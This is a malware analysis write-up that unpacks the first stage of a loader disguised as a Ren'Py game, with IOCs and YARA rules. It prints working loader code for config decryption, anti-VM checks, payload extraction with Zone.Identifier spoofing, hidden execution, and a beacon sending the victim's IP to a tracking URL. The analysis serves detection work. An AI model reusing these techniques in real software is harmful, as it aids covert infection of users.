Unpacking the Narrative Part 1: RenEngine Loader
Part 1 - Part 2
Recently, we came across some malware masquerading as a game. As we were looking for a nice malware analysis project to test out malware analysis with Claude Code, this seemed like a fun candidate.
The goal of this project is to unpack and understand each stage of the malware infection chain. As we will see, the malware is a lot more complex than it might seem from the start, making it a great target for testing out malware analysis with Claude Code.
It all starts with a 766 MB ZIP file supposedly containing a Ren’Py game. Ren’Py is a popular Python-based framework to create visual novel games.
The contents of this ZIP are an actual Ren’Py project, but they do not contain a game. When we unpack and run Setup.exe inside the ZIP, we get a nice installer loading screen:

Although this is not an actual game, something is being installed in the background.
Stage 1: Ren’Py
When inspecting the actual contents we see the following interesting files:
game.zip
├── lib
│ ├── ...
│ ├── python_x64.bin
│ └── python_x86.bin
├── renpy
│ └── ...
├── data
│ ├── gui
│ │ └── ...
│ ├── cache
│ │ └── ...
│ ├── .miE
│ ├── f5yrphMWepLW.zH
│ ├── libwin32.rpa
│ ├── python-packages
│ │ ├── libpython.rpmc
│ │ └── sys_config
│ │ ├── access_internet.py
│ │ ├── __init__.py
│ │ ├── sys_check.py
│ │ ├── sys_file.py
│ │ └── sys_spec.py
│ └── script_version.txt
├── Setup.exe
└── setup.py
Setup.exe, setup.py, lib and renpy are all legitimate Ren’Py files. The data directory is added by the malware author and implements the functionality of this “game”.
python_x64.bin, python_x86.bin and libpython.rpmc only consist of NULL bytes and account for 96% of the ZIP file’s size. As visual novels usually consist of many image and video files, these files are likely added to pad the ZIP file to a less suspicious size. A small size would be suspicious.
When we run either Setup.exe or setup.py, Ren’Py is started and all .rpa files are loaded. .rpa files are Ren’Py archive files that contain Python code, images, videos or other game resources. With a tool like RPA Extractor Online we can unpack the libwin32.rpa archive. It contains multiple Python files to implement the installer loading screen, and most importantly, it contains script.rpy.
Stage 2: script.rpy
script.rpy is a large Ren’Py Python script that performs multiple steps. It starts with decrypting a configuration file.
Configuration Decryption
When Ren’Py runs the script, it executes the aptly named Python function extract_and_run. This function starts by decrypting a configuration:
...
def extract_and_run():
try:
game_dir = config.gamedir
matches = glob.glob(os.path.join(game_dir, ".*"))
meta_path = matches[0] if matches else None
with open(meta_path, 'r') as f:
encoded_data = f.read()
decoded_data = base64.b64decode(encoded_data)
secret = '81034149cd6f48c8821340204f92766e'.encode()
decrypted = bytes([byte ^ secret[i % len(secret)] for i, byte in enumerate(decoded_data)])
meta_data = json.loads(decrypted.decode('utf-8'))
archive_name = meta_data.get('file_nm', '')
password = meta_data.get('pasw', '')
exec_file = meta_data.get('exc_fl', '')
sandbox = meta_data.get('snd_bx', False)
pub = meta_data.get('pb_s', 'NA')
hashid = meta_data.get('hash', 'NA')
...
It looks for files that match the glob .*. And it so happens that game.zip contains such a file: .miE. This file contains a JSON configuration, encrypted with XOR and the key 81034149cd6f48c8821340204f92766e. This decrypts to the following JSON:
{
"file_nm": "f5yrphMWepLW.zH",
"pasw": "Bba5GY",
"exc_fl": "6pGtNaMpA.bat",
"snd_bx": false,
"pb_s": "B_B805_eb_p6b_26",
"hash": "cb291172eae9403c8ce1c8373c75a09e44983b1882408b7aa797abdc7dcb1fe61465e97a3ac7c0351d3136e869e41eef2473d185c498b6522afac948"
}
The configuration contains the following data:
| Key | Description |
|---|---|
file_nm |
The filename of the next stage to unpack. |
pasw |
The password used to decrypt the next stage. |
exc_fl |
The filename of the unpacked next stage. |
snd_bx |
If the malware is allowed to run in a sandbox (e.g. a Virtual Machine). |
pb_s |
unclear, likely some type of campaign ID. |
hash |
unclear, likely some type of campaign ID. |
Anti-Sandbox Checks: sys_config
Before the script continues, it first performs some rudimentary anti-sandbox heuristics. The data/python-packages/sys_config directory in the ZIP file contains multiple partially obfuscated Python files that try to determine whether the process is running inside a virtual machine.
The Python code has scrambled variable names and replaces some strings by a concatenation of chr() calls. For example:
...
@staticmethod
def check_model():
if os.name == "".join([chr(110),chr(116)]):
_imuc36xfw = None
vypu3ocici = None
try:
gnb72511h5 = (chr(71)+chr(101)+chr(116)+chr(45)+chr(67)+chr(105)+chr(109)+chr(73)+chr(110)+chr(115)+chr(116)+chr(97)+chr(110)+chr(99)+chr(101)+chr(32)+chr(87)+chr(105)+chr(110)+chr(51)+chr(50)+chr(95)+chr(67)+chr(111)+chr(109)+chr(112)+chr(117)+chr(116)+chr(101)+chr(114)+chr(83)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(32)+chr(124)+chr(32)+chr(83)+chr(101)+chr(108)+chr(101)+chr(99)+chr(116)+chr(45)+chr(79)+chr(98)+chr(106)+chr(101)+chr(99)+chr(116)+chr(32)+chr(77)+chr(111)+chr(100)+chr(101)+chr(108))
czzaiu7upal = subprocess.check_output([(chr(112)+chr(111)+chr(119)+chr(101)+chr(114)+chr(115)+chr(104)+chr(101)+chr(108)+chr(108)), bytes([45,67,111,109,109,97,110,100]).decode("utf-8"), gnb72511h5], shell=True).decode() # VCNa1SxnBKWLdtdBe
_imuc36xfw = czzaiu7upal.split('\n')[3].strip()
if _imuc36xfw.lower() in Specs._MODELS:
gwksjmxjjjakp = 0
vypu3ocici = "".join([chr(77),chr(79),chr(68),chr(69),chr(76),chr(32),chr(104),chr(97),chr(115),chr(32),chr(98),chr(101),chr(101),chr(110),chr(32),chr(108),chr(105),chr(110),chr(107),chr(101),chr(100),chr(32),chr(116),chr(111),chr(32),chr(97),chr(32),chr(118),chr(105),chr(114),chr(116),chr(117),chr(97),chr(108),chr(32),chr(109),chr(97),chr(99),chr(104),chr(105),chr(110),chr(101),chr(46)])
_fqhjrs = "logwy"
else:
gwksjmxjjjakp = 5
except Exception as e:
gwksjmxjjjakp = 5
vypu3ocici = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}"
gtbaswzb = f"MODEL is {_imuc36xfw}."
return gwksjmxjjjakp, gtbaswzb, vypu3ocici
else: # Unix/Linux/Mac
return 5, bytes([77,79,68,69,76,32,105,115,32,78,111,110,101,46]).decode("utf-8"), bytes([84,104,105,115,32,116,101,115,116,32,99,97,110,32,111,110,108,121,32,98,101,32,114,117,110,32,111,110,32,87,105,110,100,111,119,115,46,32,67,111,110,115,105,100,101,114,105,110,103,32,116,104,105,115,32,116,101,115,116,32,115,117,99,99,101,115,115,102,117,108,46]).decode("utf-8")
...
Although we can understand the general functionality of this Python code by looking at the function names and unobfuscated strings, we can ask Claude Code to deobfuscate it for us:
...
@staticmethod
def check_model():
if os.name == "nt": # Windows
model = None
detail = None
try:
cmd = "Get-CimInstance Win32_ComputerSystem | Select-Object Model"
output = subprocess.check_output(["powershell", "-Command", cmd], shell=True).decode()
model = output.split("\n")[3].strip()
if model.lower() in Specs._MODELS: # matches a known VM model
score = 0
detail = "MODEL has been linked to a virtual machine."
else:
score = 5
except Exception as e:
score = 5
detail = ("Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}")
message = f"MODEL is {model}."
return score, message, detail
else: # Unix/Linux/Mac
return (5, "MODEL is None.", "This test can only be run on Windows. Considering this test successful.")
...
As expected, this function checks the model of the victim machine using PowerShell:
Get-CimInstance Win32_ComputerSystem | Select-Object Model
sys_config performs a similar check for the manufacturer:
Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer
If the script determines we are inside a virtual machine, it immediately exits. In practice, this will likely never happen though. The heuristics seem to be implemented incorrectly. For example, the manufacturer of a VMWare virtual machine is “VMWare, Inc.”, but the manufacturer heuristic checks if the manufacturer is exactly “vmware”.
This sys_config module actually contains many more heuristics to determine whether the process is running inside a virtual machine. Including checks on running processes, available RAM and available processors and available storage. However, these are unused. These heuristics may have been disabled because they were too invasive or were not accurate enough.
Preparations
After we pass the anti-sandboxing checks, we start preparing for the next stage, by creating a temporary directory C:\Users\<user>\AppData\Local\Temp\tmp-\d{5}-[a-zA-Z0-9]{12}\:
...
temp_dir = os.environ.get('TEMP', os.path.join(os.path.expanduser('~'), 'AppData', 'Local', 'Temp'))
folder_num = ''.join(random.choices('0123456789', k=5))
folder_uid = ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=12))
folder_name = 'tmp-' + folder_num + '-' + folder_uid
run_dir = os.path.join(temp_dir, folder_name)
if not os.path.exists(run_dir):
os.makedirs(run_dir)
...
Next, script.rpy reads and decrypts a new ZIP file based on the configuration:
...
def xor_decrypt_to_memory(filename, key):
with open(filename, 'rb') as file:
ciphertext = file.read()
key = key.encode()
plaintext = bytes([byte ^ key[i % len(key)] for i, byte in enumerate(ciphertext)])
return plaintext
archive_path = os.path.join(game_dir, archive_name)
decrypted_bytes = xor_decrypt_to_memory(archive_path, password)
decrypted_file = io.BytesIO(decrypted_bytes)
exec_file_mapped = exec_file
...
The decrypted ZIP file contains one file: 6pGtNaMpA.bat. Finally, the decrypted ZIP file is extracted into the temporary directory:
...
with zipfile.ZipFile(decrypted_file) as zip_ref:
pwd = password.encode() if password else None
for zip_info in zip_ref.infolist():
with zip_ref.open(zip_info, pwd=pwd) as f:
content = f.read()
original_name = zip_info.filename
out_filename = original_name
if original_name.lower().endswith(('.bat', '.cmd')):
random_number = random.randint(100000, 999999)
content += f'\nREM {random_number}'.encode()
fake_ext = '.' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=random.randint(2, 3)))
out_filename = os.path.splitext(original_name)[0] + fake_ext
if original_name == exec_file:
exec_file_mapped = out_filename
out_path = os.path.join(run_dir, out_filename)
with open(out_path, 'wb') as out_file:
out_file.write(content)
try:
with open(out_path + ':Zone.Identifier', 'w') as zf:
zf.write('[ZoneTransfer]\r\nZoneId=0\r\n')
except Exception:
pass
...
As we can see, if the file in the ZIP file is a Batch file, its extension is randomized. The malware likely does this to prevent antivirus from detecting that a suspicious new, large Batch file is written to disk.
After the Batch file is extracted, a Zone.Identifier file is also created to mark the file as trusted.
Clicky
Before we actually run the Batch file, an HTTP request is sent to the web analytics site Clicky:
...
import requests
def call_lnk(lnk):
try:
response = requests.get(lnk)
print(response)
except Exception as e:
pass
def elnk(pub='NA', hashid='NA'):
ipf = "https://api"
ipf1 = ".ipify"
ipf2 = ".org"
ip_address = requests.get(f'{ipf}{ipf1}{ipf2}').text
shake = "https://in"
shake0 = ".get"
shake1 = "clicky."
shake2 = "com/in."
shake3 = "php?site_id=101501510&sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a"
lnk = f"{shake}{shake0}{shake1}{shake2}{shake3}&type=download&title=file&ip_address={ip_address}&href={pub}&custom[hash]={hashid}"
call_lnk(lnk)
...
Thread(target=lambda: elnk(pub, hashid), daemon=True).start()
...
This code first gets the public IP address of the victim from https://api.ipify.org and sends an HTTP request to: https://in.getclicky[.]com/in.php?site_id=101501510&sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a&type=download&title=file&ip_address={ip_address}&href={pub}&custom[hash]={hashid}
Here {ip_address} is the public IP address of the victim, and pub and hashid are taken from the decrypted JSON configuration.
Clicky is a web analytics platform (similar to Google Analytics), which allows users to monitor traffic to their websites (or malware in this case). The malware author likely added this to have early visibility inside the infection chain.
Execution
And then finally, script.rpy executes 6pGtNaMpA.bat in a separate thread:
...
def run_program():
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE
if original_ext in ['.bat', '.cmd']:
time.sleep(2)
bat_name = os.path.splitext(exec_file_mapped)[0] + '.bat'
subprocess.Popen(["forfiles.exe", "/p", run_dir, "/m", exec_file_mapped, "/c", f"cmd /c ren @file {bat_name} && call {bat_name}"], cwd=run_dir, creationflags=0x00000008 | 0x00000200, stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, close_fds=True)
return 0
elif original_ext == '.msi':
cmd = ["msiexec", "/i", exec_path]
elif original_ext == '.ps1':
cmd = ["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", exec_path]
else:
cmd = [exec_path]
subprocess.Popen(cmd, cwd=run_dir, startupinfo=startupinfo, close_fds=True, creationflags=subprocess.DETACHED_PROCESS | subprocess.CREATE_NEW_PROCESS_GROUP)
...
As the file extension of our Batch file is randomized when the Batch file is extracted, the file is first renamed to have a .bat extension, using forfiles.
Conclusion
This concludes the first part of this infection chain. Next up is the analysis of our newly executed Batch file 6pGtNaMpA.bat.
By searching for other Ren’Py-based malware, we find blog posts describing a similar loader12: RenEngine Loader. This is expected, as the support for executing .msi, .ps1, .cmd and .bat payloads indicates that this loader is likely deployed in multiple malware campaigns. However, our RenEngine Loader version seems to have evolved slightly from the versions discussed in the blogs. Our version contains an extra configuration field (hashid) and more obfuscation (e.g. the configuration file is encrypted in our version.)
At the start of this blog post, we said that the point of this project was to test malware reverse engineering with Claude Code. But during this first part we only encountered Python code. During this analysis, we did ask Claude Code to explain certain parts, but this did not provide much additional context, as the analyzed Python code was readable and pretty straightforward. In the next parts, we will see Claude Code provide much higher value.
IOCs
All files are uploaded to VirusTotal and MalShare.
| Filename | game.zip |
| Description | The ZIP file containing the full Ren’Py game. |
| SHA256 | 975fb3e8fc95c20f40513727c98720c555cde764539c0b5127d6c158ed07be77 |
| Filename | game_without_filler.zip |
| Description | The ZIP file with all the NULL byte files removed, making it easier to share. |
| SHA256 | 57ffd00e17bfcb2cb5b5067fb3d7101726601985ec8433a6921fd6b75c74e098 |
| Filename | libwin32.rpa |
| Description | The malicious Ren’Py archive containing script.rpy |
| SHA256 | dc1a973a602c1ab85e78cd78c77622a6ce235ae7fd035e2496be212653a93f2f |
| Filename | gui.rpy |
| Description | Ren’Py script used to show the decoy loading screen. |
| SHA256 | dd3af8d0fe5c0ec7c42d9075a3518701bdcb523464fc691bc5589fea496d3661 |
| Filename | options.rpy |
| Description | Ren’Py script used to show the decoy loading screen. |
| SHA256 | b210103e8e4d911a342163fce735291aca113fbb4c02c5591e0bf82aa82764f6 |
| Filename | screens.rpy |
| Description | Ren’Py script used to show the decoy loading screen. |
| SHA256 | 2f6a06b5272d9c08a004e07a3d0bbfa554062a4b7849bb54535337ddbcd2191a |
| Filename | script.rpy |
| Description | Ren’Py script that decrypts and executes the next stage. |
| SHA256 | b63cbe39d20cbb05ac938e307534e962a35a385af8ac198d0d8f1d12c9788528 |
| Filename | sys_config/access_internet.py |
| Description | Anti-sandbox check Python script. |
| SHA256 | 080c4ca827bb8c33132e7a93d4592274e48ff8da1390b38e213b561f4b5335df |
| Filename | sys_config/__init__.py |
| Description | Anti-sandbox check Python script. |
| SHA256 | f0030acf44242579e150fe55543fb4d857867196d849360d54e41356dbff328d |
| Filename | sys_config/sys_check.py |
| Description | Anti-sandbox check Python script. |
| SHA256 | 4db292149f404ebed8f0e8756266a52c8f516130ab342f4f5ed15902e5590477 |
| Filename | sys_config/sys_file.py |
| Description | Anti-sandbox check Python script. |
| SHA256 | 3c5095fe0e5501b14c083fbd2080c88d1b93263227b8cf94ddfd9b91b40faf6c |
| Filename | sys_config/sys_spec.py |
| Description | Anti-sandbox check Python script. |
| SHA256 | 92e796718c1e2f7a7178cdf21cfbc351fc38709e040d910dc4932c196b561e19 |
| Filename | .miE |
| Description | The encrypted configuration. |
| SHA256 | 53472f14a64f131eaa6b8d452068980835dae21f8d68d1664c35830dd9cd635a |
| Filename | .miE.json |
| Description | The decryption configuration. |
| SHA256 | ee34c6029da36e9e041ff4a0d77e4b4538c65bd877afb78be309ae8fd6a6c5f1 |
| Filename | f5yrphMWepLW.zH |
| Description | Encrypted ZIP file containing 6pGtNaMpA.bat. |
| SHA256 | e08b14c20aa5c9292e0722716d60f6fdeb60cbcfa127e0731fac2e7ee21ce0d9 |
| Filename | f5yrphMWepLW.zH.decoded.zip |
| Description | ZIP file containing 6pGtNaMpA.bat. |
| SHA256 | 877de0cd04d54def0deaeabbd5dc392a1c6d853e041c37b1ca11954ea79c3b9c |
| Filename | 6pGtNaMpA.bat |
| Description | The payload of the RenEngine Loader. |
| SHA256 | 777ef76e1e8ee5c621d22e17147f3b37efc7b4e3d8b5403eaa5f289d665f113a |
Campaign tracking link:
https://in.getclicky[.]com/in.php?site_id=101501510&sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a&type=download&title=file&ip_address={ip_address}&href=B_B805_eb_p6b_26&custom[hash]=cb291172eae9403c8ce1c8373c75a09e44983b1882408b7aa797abdc7dcb1fe61465e97a3ac7c0351d3136e869e41eef2473d185c498b6522afac948
YARA Rules
rule UNPACKINGTHENARRATIVE_SCRIPT {
meta:
author = "Joren Vrancken"
description = "Detects script.rpy"
hash = "b63cbe39d20cbb05ac938e307534e962a35a385af8ac198d0d8f1d12c9788528"
strings:
$ = "26e2086e86ebc9adc9f90bfd86f9f05a"
$ = "81034149cd6f48c8821340204f92766e"
$ = "ip_address = requests.get(f'{ipf}{ipf1}{ipf2}').text"
$ = "meta_data.get('snd_bx', False)"
$ = "'tmp-' + folder_num + '-' + folder_uid"
$ = "def elnk(pub='NA', hashid='NA')"
condition:
3 of them
}
rule UNPACKINGTHENARRATIVE_SYSCONFIG {
meta:
author = "Joren Vrancken"
description = "Detects the sys_config anti-sandbox Python code"
hash = "92e796718c1e2f7a7178cdf21cfbc351fc38709e040d910dc4932c196b561e19"
strings:
$ = "FILES will look for VM related files."
$ = "}% chance of being in a virtual environment.\n"
$ = "HARD DRIVE has a total storage of {"
$ = "RAM has a total storage of {"
$ = "Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception:"
condition:
any of them
}
rule UNPACKINGTHENARRATIVE_RENENGINE_CONFIG {
meta:
author = "Joren Vrancken"
description = "Detects the decrypted Rengine Loader JSON configuration"
hash = "ee34c6029da36e9e041ff4a0d77e4b4538c65bd877afb78be309ae8fd6a6c5f1"
strings:
$ = "exc_fl"
$ = "file_nm"
$ = "snd_bx"
$ = "pb_s"
condition:
2 of them
}